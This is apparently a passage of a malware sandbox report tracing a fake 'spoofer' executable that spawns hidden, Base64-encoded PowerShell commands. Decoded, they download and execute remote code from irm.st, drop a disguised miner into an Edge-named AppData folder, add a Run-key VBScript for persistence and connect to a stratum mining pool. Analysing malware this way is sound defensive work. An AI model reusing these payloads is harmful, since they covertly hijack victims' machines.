IAdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjAHMAIAA9ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABQAHIAbwBjAE4AYQBtAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHAAcgBvAGMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAcAAgAGkAbgAgACQAcAByAG8AYwBzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHAALgBQAGEAdABoACAALQBhAG4AZAAgACgAJABwAC4AUABhAHQAaAAgAC0AaQBlAHEAIAAkAFQAYQByAGcAZQB0AFAAYQB0AGgAKQApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0ARgBpAGwAZQBXAGkAdABoAEYAYQBsAGwAYgBhAGMAawAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAcwB0AHIAaQBuAGcAXQAkAFUAcgBsACwAWwBzAHQAcgBpAG4AZwBdACQATwB1AHQARgBpAGwAZQApAAoAIAAgACAAIAAkAGgAZAByACAAPQAgAEAAewAgACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACAAPQAgACcATQBvAHoAaQBsAGwAYQAvADUALgAwACcAIAB9AAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBDAG8AbQBtAGEAbgBkAEUAeABpAHMAdABzACAAJwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAJwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAHIAbAAgAC0ATwB1AHQARgBpAGwAZQAgACQATwB1AHQARgBpAGwAZQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZAByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwADsAIAByAGUAdAB1AHIAbgAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsAIABFAG4AYQBiAGwAZQAtAFIAZQBsAGEAeABlAGQAQwBlAHIAdAA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAVQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAE8AdQB0AEYAaQBsAGUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGQAcgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAA7ACAAcgBlAHQAdQByAG4AIAB9AAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAAgAHsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgACcAUwB0AGEAcgB0AC0AQgBpAHQAcwBUAHIAYQBuAHMAZgBlAHIAJwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIAAkAFUAcgBsACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAkAE8AdQB0AEYAaQBsAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAOwAgAHIAZQB0AHUAcgBuACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAB9AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApAAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAJABPAHUAdABGAGkAbABlACkAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIAAkAHcAYwAuAEQAaQBzAHAAbwBzAGUAKAApACAAfQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAARQBuAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQACgAgACAAIAAgACAAIAAgACAAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApAAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAJABPAHUAdABGAGkAbABlACkAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIAAkAHcAYwAuAEQAaQBzAHAAbwBzAGUAKAApACAAfQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAfQAKACAAIAAgACAAdABoAHIAbwB3ACAAIgBEAG8AdwBuAGwAbwBhAGQAIABmAGEAaQBsAGUAZAA6ACAAJABVAHIAbAAiAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQB4AHAAYQBuAGQALQBaAGkAcABXAGkAdABoAEYAYQBsAGwAYgBhAGMAawAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAcwB0AHIAaQBuAGcAXQAkAFAAYQB0AGgALABbAHMAdAByAGkAbgBnAF0AJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAApAAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBDAG8AbQBtAGEAbgBkAEUAeABpAHMAdABzACAAJwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAJwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAUABhAHQAaAAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIAAkAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAKQApACAAewAKACAAIAAgACAAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBQAGEAdABoACAAJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACAAIAAgACAAfQAKACAAIAAgACAAJABzAHIAYwAgACAAPQAgACgAUgBlAHMAbwBsAHYAZQAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAUABhAHQAaAApAC4AUABhAHQAaAAKACAAIAAgACAAJABkAGUAcwB0ACAAPQAgACgAUgBlAHMAbwBsAHYAZQAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAKQAuAFAAYQB0AGgACgAgACAAIAAgACQAcwBoAGUAbABsACAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ACgAgACAAIAAgACQAegBpAHAAIAAgACAAIAA9ACAAJABzAGgAZQBsAGwALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAcwByAGMAKQAKACAAIAAgACAAJAB0AGEAcgBnAGUAdAAgAD0AIAAkAHMAaABlAGwAbAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABkAGUAcwB0ACkACgAgACAAIAAgAGkAZgAgACgAJABuAHUAbABsACAALQBlAHEAIAAkAHoAaQBwACkAIAAgACAAIAB7ACAAdABoAHIAbwB3ACAAIgBaAEkAUAAgAG8AcABlAG4AIABmAGEAaQBsAGUAZAA6ACAAJABzAHIAYwAiACAAfQAKACAAIAAgACAAaQBmACAAKAAkAG4AdQBsAGwAIAAtAGUAcQAgACQAdABhAHIAZwBlAHQAKQAgAHsAIAB0AGgAcgBvAHcAIAAiAEQAZQBzAHQAIAB1AG4AYQB2AGEAaQBsAGEAYgBsAGUAOgAgACQAZABlAHMAdAAiACAAfQAKACAAIAAgACAAJAB0AGEAcgBnAGUAdAAuAEMAbwBwAHkASABlAHIAZQAoACQAegBpAHAALgBJAHQAZQBtAHMAKAApACwAIAAwAHgAMQA0ACkACgAgACAAIAAgACQAZABlAGEAZABsAGkAbgBlACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBBAGQAZABTAGUAYwBvAG4AZABzACgAMQA1ACkACgAgACAAIAAgAHcAaABpAGwAZQAgACgAKABHAGUAdAAtAEQAYQB0AGUAKQAgAC0AbAB0ACAAJABkAGUAYQBkAGwAaQBuAGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAoAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAZABlAHMAdAAgAC0ARgBvAHIAYwBlACAAfAAgAE0AZQBhAHMAdQByAGUALQBPAGIAagBlAGMAdAApAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACkAIAB7ACAAYgByAGUAYQBrACAAfQAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAAMgAwADAACgAgACAAIAAgAH0ACgB9AAoACgBBAHMAcwBlAHIAdAAtAFMAdABhAHIAdAB1AHAARQBuAGEAYgBsAGUAZAAgAC0AUgB1AG4ATgBhAG0AZQAgACQAQQBwAHAATgBhAG0AZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAKACQAcgB1AG4AbgBpAG4AZwAgACAAIAA9ACAAVABlAHMAdAAtAEEAcABwAFIAdQBuAG4AaQBuAGcAIAAtAFAAcgBvAGMATgBhAG0AZQAgACQAQQBwAHAATgBhAG0AZQAgAC0AVABhAHIAZwBlAHQAUABhAHQAaAAgACQARQB4AGUAUABhAHQAaAAKACQAZQB4AGUARQB4AGkAcwB0AHMAIAA9ACAAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQARQB4AGUAUABhAHQAaAAKAAoAaQBmACAAKAAtAG4AbwB0ACAAJABlAHgAZQBFAHgAaQBzAHQAcwAgAC0AYQBuAGQAIAAtAG4AbwB0ACAAJAByAHUAbgBuAGkAbgBnACkAIAB7AAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABSAGUAYQBkAG0AZQBQAGEAdABoACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACAAIAAgACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFoAaQBwAFAAYQB0AGgAIAAgACAAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBnAHUAYQByAGQALgB2AGIAcwAnACkAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAB9AAoACgAgACAAIAAgAEcAZQB0AC0ARgBpAGwAZQBXAGkAdABoAEYAYQBsAGwAYgBhAGMAawAgAC0AVQByAGwAIAAkAFUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABaAGkAcABQAGEAdABoAAoAIAAgACAAIABFAHgAcABhAG4AZAAtAFoAaQBwAFcAaQB0AGgARgBhAGwAbABiAGEAYwBrACAALQBQAGEAdABoACAAJABaAGkAcABQAGEAdABoACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIACgAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABSAGUAYQBkAG0AZQBQAGEAdABoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAE0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAZQBhAGQAbQBlAFAAYQB0AGgAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQARQB4AGUAUABhAHQAaAAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAdABoAHIAbwB3ACAAIgByAGUAYQBkAG0AZQAuAG0AZAAgAG0AaQBzAHMAaQBuAGcAIABpAG4AIAB6AGkAcAAiAAoAIAAgACAAIAB9AAoACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAZgAgAGkAbgAgAEAAKAAkAFoAaQBwAFAAYQB0AGgALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBTAHQAYQByAHQALgBiAGEAdAAnACkALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBTAHQAYQByAHQALQBRAHUAYQBuAHQAdQBzAC4AYgBhAHQAJwApACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGYAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAfQAKAH0ACgAKACQAcwB0AGEAcgB0AFYAYgBzACAAPQAgAEAAIgAKAEQAaQBtACAAcwBoACwAIABhAHAAcAAsACAAcgB1AG4ASwBlAHkALAAgAHIAdQBuAFYAYQBsACwAIAB0AGEAcgBnAGUAdABQAGEAdABoACwAIAB0AGEAcgBnAGUAdABEAGkAcgAsACAAbQBpAG4AZQByAEMAbQBkAAoARABpAG0AIAB3AG0AaQAsACAAcAByAG8AYwBzACwAIABmAG8AdQBuAGQALAAgAHAACgBhAHAAcAAgAD0AIAAiACQAQQBwAHAATgBhAG0AZQAiAAoAcgB1AG4ASwBlAHkAIAA9ACAAIgBIAEsAQwBVAFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAKAFMAZQB0ACAAcwBoACAAPQAgAEMAcgBlAGEAdABlAE8AYgBqAGUAYwB0ACgAIgBXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsACIAKQAKAHQAYQByAGcAZQB0AEQAaQByACAAPQAgAHMAaAAuAEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABTAHQAcgBpAG4AZwBzACgAIgAlAEEAUABQAEQAQQBUAEEAJQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQAiACkACgB0AGEAcgBnAGUAdABQAGEAdABoACAAPQAgAHQAYQByAGcAZQB0AEQAaQByACAAJgAgACIAXAAiACAAJgAgAGEAcABwACAAJgAgACIALgBlAHgAZQAiAAoAbQBpAG4AZQByAEMAbQBkACAAPQAgACIAIgAiACIAIAAmACAAdABhAHIAZwBlAHQAUABhAHQAaAAgACYAIAAiACIAIgAiACAAJgAgACIAIAAtAC0AdQByAGwAIAAkAFMAdAByAGEAdAB1AG0AVQByAGwAIAAtAC0AdQBzAGUAcgAgACQAVQBzAGUAcgBBAHIAZwAiAAoATwBuACAARQByAHIAbwByACAAUgBlAHMAdQBtAGUAIABOAGUAeAB0AAoAcgB1AG4AVgBhAGwAIAA9ACAAcwBoAC4AUgBlAGcAUgBlAGEAZAAoAHIAdQBuAEsAZQB5ACAAJgAgACIAXAAiACAAJgAgAGEAcABwACkACgBPAG4AIABFAHIAcgBvAHIAIABHAG8AVABvACAAMAAKAEkAZgAgAEwAZQBuACgAcgB1AG4AVgBhAGwAKQAgAD0AIAAwACAAVABoAGUAbgAgAFcAUwBjAHIAaQBwAHQALgBRAHUAaQB0ACAAMAAKAFMAZQB0ACAAdwBtAGkAIAA9ACAARwBlAHQATwBiAGoAZQBjAHQAKAAiAHcAaQBuAG0AZwBtAHQAcwA6AFwAXAAuAFwAcgBvAG8AdABcAGMAaQBtAHYAMgAiACkACgBTAGUAdAAgAHAAcgBvAGMAcwAgAD0AIAB3AG0AaQAuAEUAeABlAGMAUQB1AGUAcgB5ACgAIgBTAEUATABFAEMAVAAgAE4AYQBtAGUALAAgAEUAeABlAGMAdQB0AGEAYgBsAGUAUABhAHQAaAAgAEYAUgBPAE0AIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACAAVwBIAEUAUgBFACAATgBhAG0AZQA9ACcAIgAgACYAIABhAHAAcAAgACYAIAAiAC4AZQB4AGUAJwAiACkACgBmAG8AdQBuAGQAIAA9ACAARgBhAGwAcwBlAAoARgBvAHIAIABFAGEAYwBoACAAcAAgAEkAbgAgAHAAcgBvAGMAcwAKACAAIAAgACAASQBmACAATgBvAHQAIABJAHMATgB1AGwAbAAoAHAALgBFAHgAZQBjAHUAdABhAGIAbABlAFAAYQB0AGgAKQAgAFQAaABlAG4ACgAgACAAIAAgACAAIAAgACAASQBmACAATABDAGEAcwBlACgAcAAuAEUAeABlAGMAdQB0AGEAYgBsAGUAUABhAHQAaAApACAAPQAgAEwAQwBhAHMAZQAoAHQAYQByAGcAZQB0AFAAYQB0AGgAKQAgAFQAaABlAG4ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABmAG8AdQBuAGQAIAA9ACAAVAByAHUAZQAKACAAIAAgACAAIAAgACAAIABFAG4AZAAgAEkAZgAKACAAIAAgACAARQBuAGQAIABJAGYACgBOAGUAeAB0AAoASQBmACAATgBvAHQAIABmAG8AdQBuAGQAIABUAGgAZQBuAAoAIAAgACAAIABzAGgALgBDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAPQAgAHQAYQByAGcAZQB0AEQAaQByAAoAIAAgACAAIABzAGgALgBSAHUAbgAgAG0AaQBuAGUAcgBDAG0AZAAsACAAMAAsACAARgBhAGwAcwBlAAoARQBuAGQAIABJAGYACgAiAEAACgBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAVABlAHgAdAAoACQAVgBiAHMAUABhAHQAaAAsACAAJABzAHQAYQByAHQAVgBiAHMALAAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUAKQAKAAoAJAByAHUAbgBWAGEAbAB1AGUAIAA9ACAAJwB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIAAiACcAIAArACAAJABWAGIAcwBQAGEAdABoACAAKwAgACcAIgAnAAoAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAKQApACAAewAgAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAIAAtAEYAbwByAGMAZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwAIAB9AAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAIAAtAE4AYQBtAGUAIAAkAEEAcABwAE4AYQBtAGUAIAAtAFYAYQBsAHUAZQAgACQAcgB1AG4AVgBhAGwAdQBlACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgBBAHMAcwBlAHIAdAAtAFMAdABhAHIAdAB1AHAARQBuAGEAYgBsAGUAZAAgAC0AUgB1AG4ATgBhAG0AZQAgACQAQQBwAHAATgBhAG0AZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAKAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAVgBiAHMAUABhAHQAaAApACAAewAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgACcAdwBzAGMAcgBpAHAAdAAuAGUAeABlACcAKQAgAHsAIAB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIAAkAFYAYgBzAFAAYQB0AGgAIAB9ACAAZQBsAHMAZQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAFYAYgBzAFAAYQB0AGgAIAB9AAoAfQA=
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1068

C:\Users\Admin\Desktop\VirexTempSpoofer.exe
"C:\Users\Admin\Desktop\VirexTempSpoofer.exe"
1⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoACgAkAFUAcgBsACAAIAAgACAAIAAgACAAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQByAG0ALgBzAHQALwByAGUAYQBkAG0AZQAuAHoAaQBwACcACgAkAEEAcABwAE4AYQBtAGUAIAAgACAAIAA9ACAAJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwAKACQAUwB0AHIAYQB0AHUAbQBVAHIAbAAgAD0AIAAnAHMAdAByAGEAdAB1AG0AKwB0AGMAcAA6AC8ALwBjADIALgBkAG8AeABiAGkAbgAuAGMAeQA6ADMAMwAzADMAJwAKACQAVQBzAGUAcgBBAHIAZwAgACAAIAAgAD0AIAAnAHgALgB4AG0AcgByAGkAZwAnAAoACgAkAFQAYQByAGcAZQB0AEQAaQByACAAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACcATQBpAGMAcgBvAHMAbwBmAHQAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlACcACgAkAFoAaQBwAFAAYQB0AGgAIAAgACAAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBrAC4AegBpAHAAJwAKACQARQB4AGUAUABhAHQAaAAgACAAIAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAoACQAQQBwAHAATgBhAG0AZQAgACsAIAAnAC4AZQB4AGUAJwApAAoAJABWAGIAcwBQAGEAdABoACAAIAAgACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABUAGEAcgBnAGUAdABEAGkAcgAgACcAcwB0AGEAcgB0AC4AdgBiAHMAJwAKAC